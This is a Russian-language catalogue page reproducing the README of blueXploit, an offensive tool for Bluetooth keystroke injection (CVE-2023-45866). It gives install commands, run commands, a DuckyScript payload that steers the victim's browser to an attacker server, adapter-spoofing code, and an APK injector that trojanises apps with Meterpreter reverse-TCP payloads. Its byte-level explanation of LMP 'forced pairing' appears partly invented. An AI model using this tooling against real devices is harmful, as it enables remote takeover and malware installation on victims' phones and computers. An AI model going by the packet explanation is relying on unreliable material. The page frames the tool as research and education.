Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
blueXploit — Эксплойт на основе критических уязвимостей Bluetooth (CVE-2023-45866, CVE-2024-21306) | Kitploit
Инструменты/GitHubGitHub/danyw24/bluexploit
Безопасность BluetoothГенерация полезной нагрузкиЭксплуатацияБезопасность беспроводных сетейТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubdanyw24/bluexploit

blueXploit

Эксплойт на основе критических уязвимостей Bluetooth (CVE-2023-45866, CVE-2024-21306)

Репозиторий
142423 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
# blueXploit


![image](https://assets.kitploit.com/production/public/readmes/35542/60d59e1a76efa6011d3e1a89b761185983bdc9d87bfd299b0a2a9063cb2f0a1d.png)

[Видео blueXploit](https://www.youtube.com/watch?v=Zez8hKRI_7M)

- **blueXploit** — это мой собственный proof-of-concept, воспроизводящий **CVE-2023-45866**, уязвимость внедрения нажатий клавиш в Bluetooth, обнаруженную **Марком Ньюлином**. Она использует недостаток в протоколе Bluetooth для внедрения нажатий клавиш в целевое устройство **без сопряжения**, открывая путь для более сложных атак.

> **Атрибуция.** Уязвимость и оригинальный эксплойт — работа **Марка Ньюлина**
> ([hi_my_name_is_keyboard](https://github.com/marcnewlin/hi_my_name_is_keyboard)) — я **не** претендую
> на их обнаружение. Этот репозиторий — воспроизведение, созданное для понимания и документирования ошибки; поверх него
> blueXploit добавляет раннер полезных нагрузок в стиле DuckyScript, механизм переподключения/повторных попыток и опциональный
> помощник для внедрения Android APK. Всё здесь предназначено **только для образования и исследований**.

# Как работает уязвимость
Эти критические уязвимости ([CVE-2023-45866](https://www.infordisa.com/soc/vulnerabilidad-bluetooth/), CVE-2024-21306) позволяют атакующему внедрять нажатия клавиш и принимать запросы на сопряжение без подтверждения пользователя. Это критически влияет на безопасность множества операционных систем.

## Затронутые системы
- **Android**: с 4.2 по 14 (11–14, если отсутствует патч от 2023-12-05)
- **Linux**: требуется патч для BlueZ.
- **macOS**: с 12 по 14.2 (частичное исправление).
- **iOS**: 16 (уязвима), исправлено в iOS 17.2.
- **Windows**: исправлено в январском «Patch Tuesday» 2024 года.

## Воздействие
- Уязвимость позволяет удалённо управлять устройством, внедряя нажатия клавиш даже без принятия сопряжения Bluetooth, принудительно устанавливая соединение и выполняя команды с клавиатуры.

## Примеры атак
- **Удалённое выполнение команд**: управление уязвимыми устройствами через внедрённые нажатия клавиш, где
  векторы атак многочисленны — от получения **shell** до **установки вредоносных приложений**.
- **Атаки типа «отказ в обслуживании» (DoS)**: переполнение устройств запросами на сопряжение.

## Меры по снижению риска
- Обновляйте устройства последними системными патчами.
- Отключайте Bluetooth, когда он не используется (это предотвращает запуск любого эксплойта для этой уязвимости).
- Избегайте сопряжения с неизвестными устройствами.

# blueXploit - использование и демонстрация

- Основано на [оригинальном эксплойте](https://github.com/marcnewlin/hi_my_name_is_keyboard) Марка Ньюлина.

- Установка зависимостей

```bash
# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
```

## Использование APKPwn + blueXploit

**blueXploit** включает инструментарий для эксплуатации уязвимостей на устройствах Android, предлагая два основных компонента и дополнительную программу под названием **apkpwn_injector**, расположенную в папке **injector**.

### Возможности APKPwn
- Автоматизирует создание полезных нагрузок **android/meterpreter/reverse_tcp** с помощью **msfvenom**.
- Внедряет эти полезные нагрузки в существующие `.apk`-приложения в папке **apk_clean**.
- Настраивает локальный сервер для раздачи сгенерированных вредоносных приложений.

Эти функции обеспечивают эффективный и упрощённый процесс атаки в контролируемых средах или для тестирования на проникновение.


![image](https://assets.kitploit.com/production/public/readmes/35542/feccd15249bfcb9057b216b83e9931778a515abf4bcd705e40da7265be6805d4.png)

```bash
cd injector
python3 apkpwn_injector.py
```
## Создание или редактирование duckypayload

Команды клавиш, выполняемые blueXploit, загружаются из папки **/injector/payloads/** в формате **.txt** с простым и понятным синтаксисом.

### Пример duckypayload

```bash
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             
```

Измените IP-адрес на адрес, где размещён сервер.



Обнаружение и перечисление устройств

```bash
bluetoothctl
```

Сканирование Bluetooth-устройств

```bash
scan on
```

Запуск
```bash
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
```

Затем выберите требуемую, предварительно настроенную полезную нагрузку.

## Демонстрация

Полная демонстрация в этом [видео](https://www.youtube.com/watch?v=Zez8hKRI_7M)

## Используемое оборудование
- Raspberry Pi 4
- Kali Linux ARM64

# Объяснение CVE-2023-45866

Эта уязвимость эксплуатируется на низком уровне протокола Bluetooth, главным образом манипулируя профилем HID и протоколом L2CAP, чтобы внедрять нажатия клавиш в устройство жертвы.

## 1. Протокол Bluetooth на низком уровне
Стек Bluetooth включает несколько уровней, таких как протокол управления связью (LMP), интерфейс хост-контроллера (HCI) и L2CAP. Эта атака в основном использует два последних:

- **HCI**: конфигурация адаптера изменяется так, чтобы он представлялся легитимным HID-устройством.

- **L2CAP**: отвечает за мультиплексирование данных между устройствами; L2CAP использует канал 17 (HID Control) и канал 19 (HID Interrupt) для HID-связи, что может быть использовано для отправки последовательностей клавиш.

## Эксплуатация CVE-2023-45866

CVE-2023-45866 — это уязвимость в протоколе управления связью (LMP), эксплуатируемая через атаку «принудительное сопряжение». Вот как это происходит технически:

- **LMP управляет запросами на сопряжение и конфигурацией соединения.**
- Повреждённые или неаутентифицированные LMP-пакеты отправляются для принудительного сопряжения, например так:
```bash
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
```
В этом кадре данных:

- `0x01`: запрос на сопряжение LMP
- `0x01`: запрос аутентификации LMP (PIN)
- `0x00 0x00 0x00 0x00`: информация о слабом PIN-коде, обычно 0000

Здесь эксплойт использует отсутствие конфигурации и аутентификации для этого пакета, что в итоге возвращает:

```bash
  LMP Accept: 0x02 0x00 0x00 0x00 0x00
```
В этом кадре данных:

- `0x02`: запрос на сопряжение LMP **ПРИНЯТ**
- `0x00 0x00 0x00 0x00`: возвращённая повреждённая информация о PIN-коде

Если ключ не проверяется должным образом, соединение устанавливается, но без реального сопряжения, поэтому можно отправить LMP-пакет принудительного сопряжения так:

```bash
  LMP Forced Pairing: 0x03 0x01 0x0000
```
Затем аутентификация может быть принудительно выполнена с использованием ранее раскрытых ключей (например, «0000»), и устанавливается зашифрованный канал связи, связывающий устройства без надлежащей проверки.

**Это создаёт сопряжение без ведома пользователя и даже без какого-либо окна сопряжения или уведомления.**

  
Недостаток этой CVE в том, что некоторые устройства не проверяют должным образом запросы аутентификации LMP или в итоге повторно используют старые ключи.

Поэтому, как только сопряжение с устройством установлено — бам! — остальное просто: в **blueXploit.py** адаптер и устройство действуют и подделывают идентификационные данные. В этом случае выполняются такие команды:

```bash
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540  # HID class (keyboard)

```

Код blueXploit

```python
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
```

## Внедрение данных HID

```bash
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully

```
Объяснение байтового кадра HID:
:`a10100001e000000000000`

- `a1`: указывает тип HID-отчёта
- `01`: указывает использование интерфейса HID для входящих данных
- `00`: нажатие или отпускание клавиши
- `00 1e 00 00 00 00`: шестнадцатеричное значение, где `1e` соответствует букве `a`

 Затем принимается **ACK** для подтверждения успешной передачи данных.

- blueXploit включает механизм переподключения и повторной отправки данных для обеспечения стабильной и без потерь связи, поэтому при обрыве соединения программа переподключается и продолжает отправлять HID-данные с предыдущей позиции/символа.


> **Предупреждение**: Этот материал и описанные в данном репозитории техники предназначены **строго для образовательных и исследовательских целей**. Инструменты проникновения и эксплуатации должны использоваться только на системах, на которые у вас есть **явное разрешение** на проверку. Несанкционированное использование этих техник на системах, которые вам не принадлежат, **запрещено** и **незаконно** во многих юрисдикциях. Любой ущерб или негативные последствия, вызванные неправильным использованием этого содержимого, являются исключительной ответственностью пользователя.

> Пользователям рекомендуется работать в контролируемых средах, таких как **тестовые лаборатории**, и соблюдать все местные законы и нормативные акты, касающиеся информационной безопасности и этичного взлома. ***удачного взлома :D***
Скачать инструмент